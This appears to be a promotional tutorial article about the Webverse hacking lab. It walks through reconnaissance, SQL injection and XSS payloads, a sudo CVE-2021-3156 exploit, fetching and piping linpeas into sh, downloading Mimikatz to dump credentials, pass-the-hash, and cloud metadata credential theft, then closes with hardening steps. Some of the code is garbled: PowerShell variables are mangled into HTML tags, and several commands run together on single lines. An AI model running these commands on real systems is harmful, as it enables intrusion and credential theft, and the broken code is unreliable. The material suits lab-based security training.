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Introduction:
Webverse is an emerging hands-on hacking environment where security enthusiasts and penetration testers can sharpen their skills by compromising vulnerable machines in a safe, legal sandbox. As highlighted by offensive security lead Robbe Van Roey, this platform offers a fun yet challenging way to practice real-world attack techniques, from reconnaissance to privilege escalation.
Learning Objectives:
- Set up a virtual penetration testing lab and enumerate target machines using industry-standard tools.
- Exploit common web application and system vulnerabilities to gain initial access.
- Perform post-exploitation, lateral movement, and privilege escalation to fully compromise a target.
You Should Know:
1. Reconnaissance and Enumeration Fundamentals
Before attacking any machine in Webverse, you must map the attack surface. Start with network scanning and service discovery. Below are verified commands for Linux (Kali) and Windows (PowerShell) to identify live hosts and open ports.
Linux (Kali):
Ping sweep the local network
for i in {1..254}; do ping -c 1 -W 1 192.168.1.$i | grep "64 bytes" & done
Comprehensive Nmap scan
nmap -sV -sC -O -p- 192.168.1.100 -oA webverse_scan
Enumerate HTTP/HTTPS services
nmap --script http-enum -p 80,443,8080 192.168.1.100
Windows (PowerShell):
Test-NetConnection for common ports
1..1024 | ForEach-Object { Test-NetConnection 192.168.1.100 -Port $_ -WarningAction SilentlyContinue -ErrorAction SilentlyContinue }
Using PortQry (download from Microsoft)
portqry.exe -n 192.168.1.100 -e 80 -p TCP
Step‑by‑step guide:
- Identify your target IP (e.g., from Webverse dashboard or DHCP lease).
- Run the Nmap command to detect open ports, service versions, and OS guesses.
- Save output for later exploitation phases. Use `grep` to filter for interesting services like Apache, nginx, SMB, or MySQL.
- Web Application Exploitation – SQL Injection and XSS
Many Webverse machines host vulnerable web apps. Manual testing with `curl` and automated tools like `sqlmap` can reveal injection points.
Linux Commands:
Test for SQLi error-based (change parameter) curl -G "http://target.com/page?id=1" --data-urlencode "id=1' AND '1'='1" -v Run sqlmap with risk and level high sqlmap -u "http://target.com/page?id=1" --batch --risk=3 --level=5 --dbs Cross-site scripting test curl "http://target.com/search?q=<script>alert(1)</script>"
Windows (using Burp Suite CLI or PowerShell):
Invoke-WebRequest with payload
$payload = "<script>alert('XSS')</script>"
Invoke-WebRequest -Uri "http://target.com/search?q=$payload" -UseBasicParsing
Step‑by‑step:
- Intercept traffic with Burp Suite or OWASP ZAP.
- For SQLi, use `sqlmap` to enumerate databases, tables, and credentials.
- For XSS, inject JavaScript to steal cookies or redirect users; verify with browser developer tools.
3. Privilege Escalation on Linux Machines
After gaining a low-privilege shell, escalate to root. Common vectors include SUID binaries, sudo misconfigurations, and kernel exploits.
Linux Commands:
Find SUID binaries find / -perm -4000 -type f 2>/dev/null Check sudo rights sudo -l Exploit CVE-2021-3156 (sudo buffer overflow) – only if vulnerable git clone https://github.com/blasty/CVE-2021-3156.git cd CVE-2021-3156 make ./sudo-hax-me-a-sandwich LinPEAS automation curl -L https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | sh
Step‑by‑step:
- Upload `linpeas.sh` via `wget` or `scp` to the target.
- Run it to identify misconfigurations and outdated software.
- For SUID binaries like `pkexec` or
vim, use GTFOBins (https://gtfobins.github.io) to get root shell.
4. Windows Privilege Escalation and Lateral Movement
Windows machines in Webverse may require token manipulation, service exploitation, or Pass-the-Hash attacks.
PowerShell Commands:
Enumerate all users and groups
Get-LocalUser | Format-Table Name, Enabled
Get-LocalGroup | ForEach-Object { $<em>.Name; Get-LocalGroupMember -Name $</em>.Name }
Check for unquoted service paths
Get-WmiObject win32_service | Select Name, PathName | Where-Object {$<em>.PathName -notlike '"' -and $</em>.PathName -like ' '}
Mimikatz (download and run)
Invoke-WebRequest -Uri "https://github.com/gentilkiwi/mimikatz/releases/download/2.2.0-20220919/mimikatz_trunk.zip" -OutFile mimikatz.zip
Expand-Archive mimikatz.zip
.\mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit"
Step‑by‑step:
- Use `winPEAS.exe` (from PEASS-ng) to automate enumeration.
- If you have admin token, use `psexec` or `wmic` to execute commands remotely.
- For lateral movement, dump hashes with Mimikatz and perform Pass-the-Hash using `Invoke-TheHash` or
crackmapexec.
5. Cloud Hardening and API Security (Defensive Perspective)
Understanding how to harden cloud environments helps you identify misconfigurations in Webverse cloud-themed challenges. Focus on IAM roles, open S3 buckets, and API keys.
Linux (AWS CLI):
List S3 buckets (if keys compromised) aws s3 ls Check bucket permissions aws s3api get-bucket-acl --bucket vulnerable-bucket Test for public access aws s3api get-public-access-block --bucket vulnerable-bucket
API Security Testing:
Fuzz API endpoints with ffuf ffuf -u https://target.com/api/v1/user/FUZZ -w /usr/share/wordlists/dirb/common.txt Test for IDOR by incrementing user ID curl -H "Authorization: Bearer $TOKEN" https://target.com/api/v1/user/1001 curl -H "Authorization: Bearer $TOKEN" https://target.com/api/v1/user/1002
Step‑by‑step:
- Enumerate cloud metadata endpoints (http://169.254.169.254/latest/meta-data/) for IAM credentials.
- Use `scoutsuite` or `prowler` to audit AWS misconfigurations.
- For APIs, craft requests with modified IDs to bypass authorization.
6. Vulnerability Mitigation and Patching
After compromising a machine, document the findings and apply mitigations. This step is crucial for blue teams and certification exams like OSCP or CPTS.
Linux Hardening:
Remove SUID from unnecessary binaries chmod -s /usr/bin/xxd Harden sudoers: require tty and limit commands echo "Defaults requiretty" >> /etc/sudoers echo "username ALL=(ALL) /usr/bin/systemctl status" >> /etc/sudoers.d/restrict Install and configure fail2ban apt install fail2ban -y cp /etc/fail2ban/jail.conf /etc/fail2ban/jail.local systemctl enable fail2ban
Windows Hardening (PowerShell):
Disable SMBv1 Set-SmbServerConfiguration -EnableSMB1Protocol $false -Force Enforce LDAP signing New-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Services\NTDS\Parameters" -Name "LDAPServerIntegrity" -Value 2 -PropertyType DWORD -Force Configure Windows Defender Set-MpPreference -DisableRealtimeMonitoring $false Set-MpPreference -PUAProtection Enabled
Step‑by‑step:
- Identify all vulnerabilities exploited (e.g., SQLi, SUID, unquoted service path).
- Apply patches or configuration changes as shown.
- Re-scan with Nmap or Nessus to confirm fixes.
What Undercode Say:
- Hands-on platforms like Webverse are essential for bridging the gap between theory and real-world offensive security, especially for certifications like OSCP and CPTS.
- The commands and techniques above—ranging from Nmap enumeration to Mimikatz and cloud hardening—mirror what professional penetration testers use daily. Mastering them ensures you can both attack and defend effectively.
Prediction:
As Webverse and similar gamified hacking labs gain traction, we will see a surge in accessible, real-time collaborative training environments integrated with AI-driven hints and automated grading. This will lower the barrier to entry for aspiring hackers while raising the baseline skill level across the industry, making both red and blue teams more resilient against advanced persistent threats.
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🎯Let’s Practice For Free:
IT/Security Reporter URL:
Reported By: Robbe Van – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅
